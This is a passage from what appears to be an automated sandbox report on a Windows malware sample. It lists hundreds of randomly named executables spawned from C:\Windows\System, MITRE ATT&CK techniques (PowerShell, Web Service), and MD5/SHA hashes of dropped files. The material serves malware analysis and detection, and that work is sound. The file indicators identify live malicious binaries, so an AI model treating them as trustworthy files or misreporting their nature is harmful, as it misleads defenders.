  PID:13144
- C:\Windows\System\AklGZFS.exe
  C:\Windows\System\AklGZFS.exe
  2⤵
  PID:5256
- C:\Windows\System\zwvKCyx.exe
  C:\Windows\System\zwvKCyx.exe
  2⤵
  PID:6452
- C:\Windows\System\RgPjbDN.exe
  C:\Windows\System\RgPjbDN.exe
  2⤵
  PID:3732
- C:\Windows\System\UXQzRFc.exe
  C:\Windows\System\UXQzRFc.exe
  2⤵
  PID:12600
- C:\Windows\System\sRvWMpH.exe
  C:\Windows\System\sRvWMpH.exe
  2⤵
  PID:12732
- C:\Windows\System\NUcFUmH.exe
  C:\Windows\System\NUcFUmH.exe
  2⤵
  PID:6536
- C:\Windows\System\eyYOGIN.exe
  C:\Windows\System\eyYOGIN.exe
  2⤵
  PID:13104
- C:\Windows\System\KAuUoBp.exe
  C:\Windows\System\KAuUoBp.exe
  2⤵
  PID:13256
- C:\Windows\System\OBnATsN.exe
  C:\Windows\System\OBnATsN.exe
  2⤵
  PID:1200
- C:\Windows\System\CMolBcq.exe
  C:\Windows\System\CMolBcq.exe
  2⤵
  PID:316
- C:\Windows\System\gYabXoO.exe
  C:\Windows\System\gYabXoO.exe
  2⤵
  PID:10360
- C:\Windows\System\GDjNiyn.exe
  C:\Windows\System\GDjNiyn.exe
  2⤵
  PID:116
- C:\Windows\System\cwIfmdP.exe
  C:\Windows\System\cwIfmdP.exe
  2⤵
  PID:10636
- C:\Windows\System\NmQTcOy.exe
  C:\Windows\System\NmQTcOy.exe
  2⤵
  PID:6916
- C:\Windows\System\FeNblGa.exe
  C:\Windows\System\FeNblGa.exe
  2⤵
  PID:1892
- C:\Windows\System\fMGTLvg.exe
  C:\Windows\System\fMGTLvg.exe
  2⤵
  PID:11052
- C:\Windows\System\LnyXIuv.exe
  C:\Windows\System\LnyXIuv.exe
  2⤵
  PID:11196
- C:\Windows\System\USWyhrB.exe
  C:\Windows\System\USWyhrB.exe
  2⤵
  PID:8952
- C:\Windows\System\iTgKKGS.exe
  C:\Windows\System\iTgKKGS.exe
  2⤵
  PID:10544
- C:\Windows\System\unHvFWA.exe
  C:\Windows\System\unHvFWA.exe
  2⤵
  PID:8796
- C:\Windows\System\VrKbmfV.exe
  C:\Windows\System\VrKbmfV.exe
  2⤵
  PID:8872
- C:\Windows\System\DkBCEGG.exe
  C:\Windows\System\DkBCEGG.exe
  2⤵
  PID:3352
- C:\Windows\System\fCyvGWO.exe
  C:\Windows\System\fCyvGWO.exe
  2⤵
  PID:5504
- C:\Windows\System\CEAVkmd.exe
  C:\Windows\System\CEAVkmd.exe
  2⤵
  PID:9120
- C:\Windows\System\uZUsigw.exe
  C:\Windows\System\uZUsigw.exe
  2⤵
  PID:10540
- C:\Windows\System\zIoHSOt.exe
  C:\Windows\System\zIoHSOt.exe
  2⤵
  PID:5740
- C:\Windows\System\ezwIikw.exe
  C:\Windows\System\ezwIikw.exe
  2⤵
  PID:12664
- C:\Windows\System\QyBUPFu.exe
  C:\Windows\System\QyBUPFu.exe
  2⤵
  PID:11408
- C:\Windows\System\fpWczkx.exe
  C:\Windows\System\fpWczkx.exe
  2⤵
  PID:5968
- C:\Windows\System\XwPvsvO.exe
  C:\Windows\System\XwPvsvO.exe
  2⤵
  PID:3880
- C:\Windows\System\jQbEcZN.exe
  C:\Windows\System\jQbEcZN.exe
  2⤵
  PID:11488
- C:\Windows\System\bubZkFu.exe
  C:\Windows\System\bubZkFu.exe
  2⤵
  PID:1868
- C:\Windows\System\mouJgzR.exe
  C:\Windows\System\mouJgzR.exe
  2⤵
  PID:6132
- C:\Windows\System\mNTwAvx.exe
  C:\Windows\System\mNTwAvx.exe
  2⤵
  PID:11636
- C:\Windows\System\nSohLBs.exe
  C:\Windows\System\nSohLBs.exe
  2⤵
  PID:11808
- C:\Windows\System\LGXJUES.exe
  C:\Windows\System\LGXJUES.exe
  2⤵
  PID:11972
- C:\Windows\System\eLYkmsm.exe
  C:\Windows\System\eLYkmsm.exe
  2⤵
  PID:5392
- C:\Windows\System\AqaMaRA.exe
  C:\Windows\System\AqaMaRA.exe
  2⤵
  PID:12248
- C:\Windows\System\fVMRtGF.exe
  C:\Windows\System\fVMRtGF.exe
  2⤵
  PID:4424
- C:\Windows\System\yzHzeyi.exe
  C:\Windows\System\yzHzeyi.exe
  2⤵
  PID:11632
- C:\Windows\System\RnLuywn.exe
  C:\Windows\System\RnLuywn.exe
  2⤵
  PID:11944
- C:\Windows\System\siHKIjS.exe
  C:\Windows\System\siHKIjS.exe
  2⤵
  PID:9436
- C:\Windows\System\wfJNbNt.exe
  C:\Windows\System\wfJNbNt.exe
  2⤵
  PID:9636
- C:\Windows\System\ahTrBjW.exe
  C:\Windows\System\ahTrBjW.exe
  2⤵
  PID:1312
- C:\Windows\System\jltjthI.exe
  C:\Windows\System\jltjthI.exe
  2⤵
  PID:10092
- C:\Windows\System\hEIHTff.exe
  C:\Windows\System\hEIHTff.exe
  2⤵
  PID:12500
- C:\Windows\System\MxZFwUN.exe
  C:\Windows\System\MxZFwUN.exe
  2⤵
  PID:808
- C:\Windows\System\ekRGOnQ.exe
  C:\Windows\System\ekRGOnQ.exe
  2⤵
  PID:804
- C:\Windows\System\mvFdVke.exe
  C:\Windows\System\mvFdVke.exe
  2⤵
  PID:9248
- C:\Windows\System\hAvEVde.exe
  C:\Windows\System\hAvEVde.exe
  2⤵
  PID:2356
- C:\Windows\System\tQhgpHk.exe
  C:\Windows\System\tQhgpHk.exe
  2⤵
  PID:2012
- C:\Windows\System\uwYqieL.exe
  C:\Windows\System\uwYqieL.exe
  2⤵
  PID:6792
- C:\Windows\System\DzgpAxV.exe
  C:\Windows\System\DzgpAxV.exe
  2⤵
  PID:13152
- C:\Windows\System\sYQZZnb.exe
  C:\Windows\System\sYQZZnb.exe
  2⤵
  PID:13240
- C:\Windows\System\eOnKXmu.exe
  C:\Windows\System\eOnKXmu.exe
  2⤵
  PID:13016
- C:\Windows\System\cOufinK.exe
  C:\Windows\System\cOufinK.exe
  2⤵
  PID:7028
- C:\Windows\System\LhCXdqT.exe
  C:\Windows\System\LhCXdqT.exe
  2⤵
  PID:10760
- C:\Windows\System\Jpnpvfd.exe
  C:\Windows\System\Jpnpvfd.exe
  2⤵
  PID:13284
- C:\Windows\System\vSnscJK.exe
  C:\Windows\System\vSnscJK.exe
  2⤵
  PID:6640
- C:\Windows\System\Vmmtrtk.exe
  C:\Windows\System\Vmmtrtk.exe
  2⤵
  PID:10372
- C:\Windows\System\DcPINnB.exe
  C:\Windows\System\DcPINnB.exe
  2⤵
  PID:10688
- C:\Windows\System\WiyyPoA.exe
  C:\Windows\System\WiyyPoA.exe
  2⤵
  PID:10912
- C:\Windows\System\EgtiTou.exe
  C:\Windows\System\EgtiTou.exe
  2⤵
  PID:8612
- C:\Windows\System\qjPHPTn.exe
  C:\Windows\System\qjPHPTn.exe
  2⤵
  PID:2464
- C:\Windows\System\PcwwAWq.exe
  C:\Windows\System\PcwwAWq.exe
  2⤵
  PID:7236
- C:\Windows\System\fnoqCxt.exe
  C:\Windows\System\fnoqCxt.exe
  2⤵
  PID:4408
- C:\Windows\System\HZLupPA.exe
  C:\Windows\System\HZLupPA.exe
  2⤵
  PID:10840
- C:\Windows\System\OewShvs.exe
  C:\Windows\System\OewShvs.exe
  2⤵
  PID:12656
- C:\Windows\System\oCIPGeT.exe
  C:\Windows\System\oCIPGeT.exe
  2⤵
  PID:12976
- C:\Windows\System\iXbZlWT.exe
  C:\Windows\System\iXbZlWT.exe
  2⤵
  PID:11516
- C:\Windows\System\BOurXCF.exe
  C:\Windows\System\BOurXCF.exe
  2⤵
  PID:2272
- C:\Windows\System\oBHLCMo.exe
  C:\Windows\System\oBHLCMo.exe
  2⤵
  PID:7452
- C:\Windows\System\qRxDhlI.exe
  C:\Windows\System\qRxDhlI.exe
  2⤵
  PID:11752
- C:\Windows\System\CZqtpVQ.exe
  C:\Windows\System\CZqtpVQ.exe
  2⤵
  PID:11804
- C:\Windows\System\ZBSSXhB.exe
  C:\Windows\System\ZBSSXhB.exe
  2⤵
  PID:11844
- C:\Windows\System\okKDYCN.exe
  C:\Windows\System\okKDYCN.exe
  2⤵
  PID:12280
- C:\Windows\System\WbvFycF.exe
  C:\Windows\System\WbvFycF.exe
  2⤵
  PID:11688
- C:\Windows\System\OvvkaUJ.exe
  C:\Windows\System\OvvkaUJ.exe
  2⤵
  PID:9356
- C:\Windows\System\Drxzpae.exe
  C:\Windows\System\Drxzpae.exe
  2⤵
  PID:9724
- C:\Windows\System\NIENDpL.exe
  C:\Windows\System\NIENDpL.exe
  2⤵
  PID:7208
- C:\Windows\System\fMaFTlv.exe
  C:\Windows\System\fMaFTlv.exe
  2⤵
  PID:10284
- C:\Windows\System\ghnxDOp.exe
  C:\Windows\System\ghnxDOp.exe
  2⤵
  PID:13012
- C:\Windows\System\pDfUwia.exe
  C:\Windows\System\pDfUwia.exe
  2⤵
  PID:7140
- C:\Windows\System\lUlHZeI.exe
  C:\Windows\System\lUlHZeI.exe
  2⤵
  PID:5668
- C:\Windows\System\SvDxeHh.exe
  C:\Windows\System\SvDxeHh.exe
  2⤵
  PID:4360
- C:\Windows\System\TjwGabU.exe
  C:\Windows\System\TjwGabU.exe
  2⤵
  PID:10440
- C:\Windows\System\faNrhpR.exe
  C:\Windows\System\faNrhpR.exe
  2⤵
  PID:5096
- C:\Windows\System\jqsNALi.exe
  C:\Windows\System\jqsNALi.exe
  2⤵
  PID:7748
- C:\Windows\System\AcgYMsk.exe
  C:\Windows\System\AcgYMsk.exe
  2⤵
  PID:12836
- C:\Windows\System\eoppgON.exe
  C:\Windows\System\eoppgON.exe
  2⤵
  PID:4964
- C:\Windows\System\AnaxQrb.exe
  C:\Windows\System\AnaxQrb.exe
  2⤵
  PID:2188
- C:\Windows\System\pqHkXcd.exe
  C:\Windows\System\pqHkXcd.exe
  2⤵
  PID:11872
- C:\Windows\System\yQeFIbb.exe
  C:\Windows\System\yQeFIbb.exe
  2⤵
  PID:10340
- C:\Windows\System\ZnkKCYx.exe
  C:\Windows\System\ZnkKCYx.exe
  2⤵
  PID:12852
- C:\Windows\System\nVCRWkL.exe
  C:\Windows\System\nVCRWkL.exe
  2⤵
  PID:13040
- C:\Windows\System\SgZkPGc.exe
  C:\Windows\System\SgZkPGc.exe
  2⤵
  PID:4448
- C:\Windows\System\BUJlzpX.exe
  C:\Windows\System\BUJlzpX.exe
  2⤵
  PID:4672
- C:\Windows\System\sxCpjgB.exe
  C:\Windows\System\sxCpjgB.exe
  2⤵
  PID:5168
- C:\Windows\System\lgKjbrK.exe
  C:\Windows\System\lgKjbrK.exe
  2⤵
  PID:11664
- C:\Windows\System\SLWMnAh.exe
  C:\Windows\System\SLWMnAh.exe
  2⤵
  PID:11504
- C:\Windows\System\RfwKTxv.exe
  C:\Windows\System\RfwKTxv.exe
  2⤵
  PID:10436
- C:\Windows\System\AQhWjtF.exe
  C:\Windows\System\AQhWjtF.exe
  2⤵
  PID:5376
- C:\Windows\System\pjeKpXN.exe
  C:\Windows\System\pjeKpXN.exe
  2⤵
  PID:11788
- C:\Windows\System\BdRSvHY.exe
  C:\Windows\System\BdRSvHY.exe
  2⤵
  PID:12704
- C:\Windows\System\wdAhOAp.exe
  C:\Windows\System\wdAhOAp.exe
  2⤵
  PID:4220
- C:\Windows\System\bLOYlMl.exe
  C:\Windows\System\bLOYlMl.exe
  2⤵
  PID:7056
- C:\Windows\System\YHyJaNF.exe
  C:\Windows\System\YHyJaNF.exe
  2⤵
  PID:13224
- C:\Windows\System\UNHcUPt.exe
  C:\Windows\System\UNHcUPt.exe
  2⤵
  PID:13340
- C:\Windows\System\CwZNvuc.exe
  C:\Windows\System\CwZNvuc.exe
  2⤵
  PID:13368
- C:\Windows\System\maRwSmp.exe
  C:\Windows\System\maRwSmp.exe
  2⤵
  PID:13400
- C:\Windows\System\lGdfudq.exe
  C:\Windows\System\lGdfudq.exe
  2⤵
  PID:13428
- C:\Windows\System\YCaQehM.exe
  C:\Windows\System\YCaQehM.exe
  2⤵
  PID:13456
- C:\Windows\System\rEBthos.exe
  C:\Windows\System\rEBthos.exe
  2⤵
  PID:13484
- C:\Windows\System\DELsHul.exe
  C:\Windows\System\DELsHul.exe
  2⤵
  PID:13512
- C:\Windows\System\BZNBRNy.exe
  C:\Windows\System\BZNBRNy.exe
  2⤵
  PID:13540
- C:\Windows\System\ESZCSxz.exe
  C:\Windows\System\ESZCSxz.exe
  2⤵
  PID:13568
- C:\Windows\System\POFYJxq.exe
  C:\Windows\System\POFYJxq.exe
  2⤵
  PID:13596
- C:\Windows\System\zOmiLYl.exe
  C:\Windows\System\zOmiLYl.exe
  2⤵
  PID:13624
- C:\Windows\System\PoJWtjZ.exe
  C:\Windows\System\PoJWtjZ.exe
  2⤵
  PID:13652
- C:\Windows\System\bhMmRaO.exe
  C:\Windows\System\bhMmRaO.exe
  2⤵
  PID:13680
- C:\Windows\System\EBhkuJz.exe
  C:\Windows\System\EBhkuJz.exe
  2⤵
  PID:13708
- C:\Windows\System\MhZWaIS.exe
  C:\Windows\System\MhZWaIS.exe
  2⤵
  PID:13736
- C:\Windows\System\sdEqqER.exe
  C:\Windows\System\sdEqqER.exe
  2⤵
  PID:13764
- C:\Windows\System\OdhrQRR.exe
  C:\Windows\System\OdhrQRR.exe
  2⤵
  PID:13792
- C:\Windows\System\IYURokS.exe
  C:\Windows\System\IYURokS.exe
  2⤵
  PID:13820
- C:\Windows\System\JzEpvQu.exe
  C:\Windows\System\JzEpvQu.exe
  2⤵
  PID:13852
- C:\Windows\System\IgNymQl.exe
  C:\Windows\System\IgNymQl.exe
  2⤵
  PID:13880
- C:\Windows\System\scZPPAa.exe
  C:\Windows\System\scZPPAa.exe
  2⤵
  PID:13908
- C:\Windows\System\rYvaJtS.exe
  C:\Windows\System\rYvaJtS.exe
  2⤵
  PID:13936
- C:\Windows\System\rFOjMBJ.exe
  C:\Windows\System\rFOjMBJ.exe
  2⤵
  PID:13964
- C:\Windows\System\uTbwXjJ.exe
  C:\Windows\System\uTbwXjJ.exe
  2⤵
  PID:13992
- C:\Windows\System\vZNawOS.exe
  C:\Windows\System\vZNawOS.exe
  2⤵
  PID:14020
- C:\Windows\System\qNDiLeZ.exe
  C:\Windows\System\qNDiLeZ.exe
  2⤵
  PID:14048
- C:\Windows\System\irCbSto.exe
  C:\Windows\System\irCbSto.exe
  2⤵
  PID:14076
- C:\Windows\System\pySZeGp.exe
  C:\Windows\System\pySZeGp.exe
  2⤵
  PID:14104
- C:\Windows\System\kkjtRHx.exe
  C:\Windows\System\kkjtRHx.exe
  2⤵
  PID:14132
- C:\Windows\System\zFQLYIO.exe
  C:\Windows\System\zFQLYIO.exe
  2⤵
  PID:14160
- C:\Windows\System\lRhuwYs.exe
  C:\Windows\System\lRhuwYs.exe
  2⤵
  PID:14188
- C:\Windows\System\poPraAB.exe
  C:\Windows\System\poPraAB.exe
  2⤵
  PID:14216
- C:\Windows\System\KwWysTC.exe
  C:\Windows\System\KwWysTC.exe
  2⤵
  PID:14244
- C:\Windows\System\SksSbjw.exe
  C:\Windows\System\SksSbjw.exe
  2⤵
  PID:14272
- C:\Windows\System\ltVnQWp.exe
  C:\Windows\System\ltVnQWp.exe
  2⤵
  PID:14300
- C:\Windows\System\UEFfIXx.exe
  C:\Windows\System\UEFfIXx.exe
  2⤵
  PID:14332
- C:\Windows\System\CRclfLj.exe
  C:\Windows\System\CRclfLj.exe
  2⤵
  PID:13348
- C:\Windows\System\QtfPHpa.exe
  C:\Windows\System\QtfPHpa.exe
  2⤵
  PID:4684
- C:\Windows\System\RDJpYyj.exe
  C:\Windows\System\RDJpYyj.exe
  2⤵
  PID:12832
- C:\Windows\System\CxxUeCr.exe
  C:\Windows\System\CxxUeCr.exe
  2⤵
  PID:3304
- C:\Windows\System\JMEUQHw.exe
  C:\Windows\System\JMEUQHw.exe
  2⤵
  PID:12580
- C:\Windows\System\FgcGbnO.exe
  C:\Windows\System\FgcGbnO.exe
  2⤵
  PID:13520
- C:\Windows\System\sYRwAgO.exe
  C:\Windows\System\sYRwAgO.exe
  2⤵
  PID:13584
- C:\Windows\System\aylPjJD.exe
  C:\Windows\System\aylPjJD.exe
  2⤵
  PID:13648
- C:\Windows\System\DiIIRHB.exe
  C:\Windows\System\DiIIRHB.exe
  2⤵
  PID:13704
- C:\Windows\System\jKiVoSz.exe
  C:\Windows\System\jKiVoSz.exe
  2⤵
  PID:13760
- C:\Windows\System\ALccswP.exe
  C:\Windows\System\ALccswP.exe
  2⤵
  PID:13832
- C:\Windows\System\woCsmCK.exe
  C:\Windows\System\woCsmCK.exe
  2⤵
  PID:13896
- C:\Windows\System\WJPZxtQ.exe
  C:\Windows\System\WJPZxtQ.exe
  2⤵
  PID:13952
- C:\Windows\System\gctIByG.exe
  C:\Windows\System\gctIByG.exe
  2⤵
  PID:14028
- C:\Windows\System\qZwNHeK.exe
  C:\Windows\System\qZwNHeK.exe
  2⤵
  PID:14092
- C:\Windows\System\EVaIvVI.exe
  C:\Windows\System\EVaIvVI.exe
  2⤵
  PID:14156
- C:\Windows\System\rPvBuuQ.exe
  C:\Windows\System\rPvBuuQ.exe
  2⤵
  PID:14232
- C:\Windows\System\gMCGBdA.exe
  C:\Windows\System\gMCGBdA.exe
  2⤵
  PID:14296
- C:\Windows\System\SpzKwTd.exe
  C:\Windows\System\SpzKwTd.exe
  2⤵
  PID:1788
- C:\Windows\System\SjLYDoR.exe
  C:\Windows\System\SjLYDoR.exe
  2⤵
  PID:4436
- C:\Windows\System\lfRvcCz.exe
  C:\Windows\System\lfRvcCz.exe
  2⤵
  PID:13536
- C:\Windows\System\LdCbVBJ.exe
  C:\Windows\System\LdCbVBJ.exe
  2⤵
  PID:12812
- C:\Windows\System\XsjWsQj.exe
  C:\Windows\System\XsjWsQj.exe
  2⤵
  PID:13816
- C:\Windows\System\WhgYzys.exe
  C:\Windows\System\WhgYzys.exe
  2⤵
  PID:14308
- C:\Windows\System\qITHIjH.exe
  C:\Windows\System\qITHIjH.exe
  2⤵
  PID:14112
- C:\Windows\System\Crtihqj.exe
  C:\Windows\System\Crtihqj.exe
  2⤵
  PID:14252
- C:\Windows\System\zHFXBwP.exe
  C:\Windows\System\zHFXBwP.exe
  2⤵
  PID:14204
- C:\Windows\System\XoFwRIh.exe
  C:\Windows\System\XoFwRIh.exe
  2⤵
  PID:1144
- C:\Windows\System\ONflhdb.exe
  C:\Windows\System\ONflhdb.exe
  2⤵
  PID:13868
- C:\Windows\System\vekxSLy.exe
  C:\Windows\System\vekxSLy.exe
  2⤵
  PID:1620
- C:\Windows\System\eUNqOCH.exe
  C:\Windows\System\eUNqOCH.exe
  2⤵
  PID:13492
- C:\Windows\System\PnyiJHT.exe
  C:\Windows\System\PnyiJHT.exe
  2⤵
  PID:14288
- C:\Windows\System\bKPeiyZ.exe
  C:\Windows\System\bKPeiyZ.exe
  2⤵
  PID:13828
- C:\Windows\System\zIbWGYt.exe
  C:\Windows\System\zIbWGYt.exe
  2⤵
  PID:14352
- C:\Windows\System\JkTUian.exe
  C:\Windows\System\JkTUian.exe
  2⤵
  PID:14384
- C:\Windows\System\jMRdxiG.exe
  C:\Windows\System\jMRdxiG.exe
  2⤵
  PID:14412
- C:\Windows\System\NZDfYZi.exe
  C:\Windows\System\NZDfYZi.exe
  2⤵
  PID:14440
- C:\Windows\System\pKwSlYX.exe
  C:\Windows\System\pKwSlYX.exe
  2⤵
  PID:14468
- C:\Windows\System\sajlFEs.exe
  C:\Windows\System\sajlFEs.exe
  2⤵
  PID:14496
- C:\Windows\System\YeYfObX.exe
  C:\Windows\System\YeYfObX.exe
  2⤵
  PID:14524
- C:\Windows\System\TipAMUz.exe
  C:\Windows\System\TipAMUz.exe
  2⤵
  PID:14552
- C:\Windows\System\YVdpNxB.exe
  C:\Windows\System\YVdpNxB.exe
  2⤵
  PID:14580
- C:\Windows\System\qcofTje.exe
  C:\Windows\System\qcofTje.exe
  2⤵
  PID:14608
- C:\Windows\System\bIQORCh.exe
  C:\Windows\System\bIQORCh.exe
  2⤵
  PID:14636
- C:\Windows\System\TMdWvGJ.exe
  C:\Windows\System\TMdWvGJ.exe
  2⤵
  PID:14664
- C:\Windows\System\bYBLnQU.exe
  C:\Windows\System\bYBLnQU.exe
  2⤵
  PID:14692
- C:\Windows\System\GJyizrd.exe
  C:\Windows\System\GJyizrd.exe
  2⤵
  PID:14720
- C:\Windows\System\pAxfIRT.exe
  C:\Windows\System\pAxfIRT.exe
  2⤵
  PID:14748
- C:\Windows\System\YueaWIW.exe
  C:\Windows\System\YueaWIW.exe
  2⤵
  PID:14776
- C:\Windows\System\eMctkFI.exe
  C:\Windows\System\eMctkFI.exe
  2⤵
  PID:14804
- C:\Windows\System\TPtRcLg.exe
  C:\Windows\System\TPtRcLg.exe
  2⤵
  PID:14832
- C:\Windows\System\kbadNeP.exe
  C:\Windows\System\kbadNeP.exe
  2⤵
  PID:14860
- C:\Windows\System\gTzukzE.exe
  C:\Windows\System\gTzukzE.exe
  2⤵
  PID:14888
- C:\Windows\System\LVyoRSI.exe
  C:\Windows\System\LVyoRSI.exe
  2⤵
  PID:14920
- C:\Windows\System\rlcYHlj.exe
  C:\Windows\System\rlcYHlj.exe
  2⤵
  PID:14948
- C:\Windows\System\cxIDLMX.exe
  C:\Windows\System\cxIDLMX.exe
  2⤵
  PID:14976
- C:\Windows\System\eZOazhe.exe
  C:\Windows\System\eZOazhe.exe
  2⤵
  PID:15004
- C:\Windows\System\DdwciFQ.exe
  C:\Windows\System\DdwciFQ.exe
  2⤵
  PID:15032
- C:\Windows\System\opunVUw.exe
  C:\Windows\System\opunVUw.exe
  2⤵
  PID:15060
- C:\Windows\System\zAKjJcm.exe
  C:\Windows\System\zAKjJcm.exe
  2⤵
  PID:15088
- C:\Windows\System\ggjRvyq.exe
  C:\Windows\System\ggjRvyq.exe
  2⤵
  PID:15116
- C:\Windows\System\papCodo.exe
  C:\Windows\System\papCodo.exe
  2⤵
  PID:15144
- C:\Windows\System\yRDJNjH.exe
  C:\Windows\System\yRDJNjH.exe
  2⤵
  PID:15172
- C:\Windows\System\CJPsJzv.exe
  C:\Windows\System\CJPsJzv.exe
  2⤵
  PID:15200
- C:\Windows\System\EcgHEwd.exe
  C:\Windows\System\EcgHEwd.exe
  2⤵
  PID:15228
- C:\Windows\System\YuZiSGE.exe
  C:\Windows\System\YuZiSGE.exe
  2⤵
  PID:15256
- C:\Windows\System\JNNKOZh.exe
  C:\Windows\System\JNNKOZh.exe
  2⤵
  PID:15284
- C:\Windows\System\xtVroFl.exe
  C:\Windows\System\xtVroFl.exe
  2⤵
  PID:15312
- C:\Windows\System\AwFFNfe.exe
  C:\Windows\System\AwFFNfe.exe
  2⤵
  PID:15344
- C:\Windows\System\mzDCUmI.exe
  C:\Windows\System\mzDCUmI.exe
  2⤵
  PID:14372
- C:\Windows\System\YruBOMC.exe
  C:\Windows\System\YruBOMC.exe
  2⤵
  PID:14420
- C:\Windows\System\VdKVjTk.exe
  C:\Windows\System\VdKVjTk.exe
  2⤵
  PID:14476
- C:\Windows\System\sonNNjt.exe
  C:\Windows\System\sonNNjt.exe
  2⤵
  PID:14512
- C:\Windows\System\xLMPKpB.exe
  C:\Windows\System\xLMPKpB.exe
  2⤵
  PID:14576
- C:\Windows\System\navLzgZ.exe
  C:\Windows\System\navLzgZ.exe
  2⤵
  PID:14604
- C:\Windows\System\uuqGpMK.exe
  C:\Windows\System\uuqGpMK.exe
  2⤵
  PID:5244
- C:\Windows\System\wfHXtXZ.exe
  C:\Windows\System\wfHXtXZ.exe
  2⤵
  PID:6172
- C:\Windows\System\kGAaOsv.exe
  C:\Windows\System\kGAaOsv.exe
  2⤵
  PID:1436
- C:\Windows\System\wYQtRLQ.exe
  C:\Windows\System\wYQtRLQ.exe
  2⤵
  PID:14756
- C:\Windows\System\kEGrRkY.exe
  C:\Windows\System\kEGrRkY.exe
  2⤵
  PID:14792
- C:\Windows\System\WgIuyGs.exe
  C:\Windows\System\WgIuyGs.exe
  2⤵
  PID:6768

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yfrxdeev.khd.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\System\AsuXEuK.exe

Filesize
3.2MB

MD5
08121adf657886ff25cb48f0ff0dd4bc

SHA1
43af3ec4b810f4541642ee341268985e87cb0595

SHA256
0ddc2f4ecb0882075d341b25f052303b72cb1591757471adc29818febeffe5a2

SHA512
ec4674fbc6c1e3e6d6d9f5dbef4e70d1920c8a8398dd66350584a0ee2df189e4f594683ed1f14901c19208be406758951afc6d95056c73ccce0f1087fc17935d

Download Submit
C:\Windows\System\BXPeOke.exe

Filesize
3.2MB

MD5
00109d91248f509a326d8f05f46ee77c

SHA1
664ac15e5a6f2a33c0e5a210cc18d2c9b488d874

SHA256
a47c604c575be162c391b28f3e187140bb9a2be7509bca4e05cc13493dae21d1

SHA512
16ba0397ff931e68cfec29f18ecb344194f077533a6e0dfb9c73d6538c09ce6d0359a6876fd9ceddf9f3608fc9ac788744eebf53ad33cdaa7c25a0726bd43cb3

Download Submit
C:\Windows\System\DRSKyAD.exe

Filesize
3.2MB

MD5
edd542cba13419e01f7a7f95c0df496c

SHA1
fb024e1733952b567936b8526e592eb33605d333

SHA256
6e626e17388057be07725f0bd01329bb26fab8e1defd8db332f28d6946176927

SHA512
d016a7ac293c44ec29cb2b245ec3b8c8f4a87fd34b525d69bb84876e509cef45e8b3335650758e3780b924dce49a04d5e68f88479ad3d72491a28237f4a04d3e

Download Submit
C:\Windows\System\FZKShWt.exe

Filesize
3.2MB

MD5
e17eec619f74b0c54095cb6ce80a03e2

SHA1
3e941f3c2862ca6d469e1acddc13317faeda3ccc

SHA256
cc65bc4ba864236a286898a82516cce59842db07d08f4a482fd6880f68103a62

SHA512
1778f00451498ed192aef5cff36bf1ba8d35f4774c816a9d960dd006f9f21a0d32302eeb4ca747d945ff8ff7af48aba0def8d2f2c3855ec430ffdc1ed6246851

Download Submit
C:\Windows\System\FvoaUvW.exe

Filesize
3.2MB

MD5
cd50aa0a9d3d3b012c9328294a102130

SHA1
cd98ca2ea5d00d359f2322c7ff0650550ff69dfa

SHA256
e75f8e9ae8bc50c8695499c80b49382b42d8e9967d8b83354e8a4304f8a47f14

SHA512
216797545c674abc3484651fb953f032ea088c02dec27b650277d6d251ef36e3cf08fab41b721e6db13e8f5e364ce7dde2d27ed3822d3962c6cd9f3f50dd3c94

Download Submit
C:\Windows\System\GMkADoP.exe

Filesize
3.2MB

MD5
6d7dbeeb3b76ab993f98c087b2dab7d3

SHA1
905bc4a4b1ed6136cd157bb2c73897b17735ce18

SHA256
c9a73d7da3b74c7e62a120e03f7fa21f2d880253e870ab85e4812e1442ac9756

SHA512
038b60f4d7060aaafda42c156edce44df74c1d5f92c7c8f446b3bcc8d9a7d8ec05b149e83cf625aba9bbb42425a0869ff6750540d848bc5ea1c8ae462fd68cf5

Download Submit
C:\Windows\System\HYXEqGo.exe

Filesize
3.2MB

MD5
b627363f353d707654c06b65ccf61fe5

SHA1
bc3844f7b554f9f3d821d0e0e7ee955e99f10fc6

SHA256
7e6c11191fb60d64b7434cddec414b90a062f030dac998097811f16293799d5d

SHA512
7fe08a4a5f16241e530b537e35a5877f82f5ffcbb31b9bccec8fbe5d47b08d59ccd858cca6ba987d37658e7668c324526f4c4f4efe5b300a3d7ceacafc52e5a4

Download Submit
C:\Windows\System\KfKYyXF.exe

Filesize
3.2MB

MD5
d26914e982a050f0d35ddf7ef4ee1379

SHA1
25bd1a02814c7a71d766469b06aab6e97390cb19

SHA256
8d5e116c7b609f67c3a0b9ccdba552f378594737a5c24805d0bffb441032dbe4

SHA512
27d95b84e633124301ba8f77cf07e017b9462e317dee866fd37758e89a034b75023998f3fecae3ef2d606ad5de051d5e0b84121f38137e9c94278aff46f0273b

Download Submit
C:\Windows\System\LcwmeRu.exe

Filesize
3.2MB

MD5
a9e0f58553c2e1873b084dba6cbefda4

SHA1
8a98599b59181e4219a71c44655b26a82a0cd753

SHA256
cca438c5dd1a4e970eec76ca6e4c7c3aee6a36d1f01ba07c551c05f58faadd3f

SHA512
c9002ade96369319ea53f4cb86780e516d2045281d4b316ec404e6b35fb282c49ccba94f44a69e888a7a531f5d39100d95cfef2ee1ff948577fdae00f2a8bb3d

Download Submit
C:\Windows\System\NCjtyHc.exe

Filesize
3.2MB

MD5
3c1c26fa07ed60c922a63caa6fca7987

SHA1
5b6e4389e5f6e0dfb3e252eabb30f393f5f9cea0

SHA256
2836b5bd5842628eb2bc2a42d993fcfc0b1a75479a185a9d10643d96fdbc3c02

SHA512
e79d4c1de1fab9359c2012a173ee45d1aa790689052e40d351bb6a94cae5890800782b90ec616ccb4988cb1e09e54efc0738d9e3f20fd8f5810fee6a3a58a4d5

Download Submit
C:\Windows\System\PEhIKiU.exe

Filesize
3.2MB

MD5
1af148738680eb8230d8cc9eef6e81da

SHA1
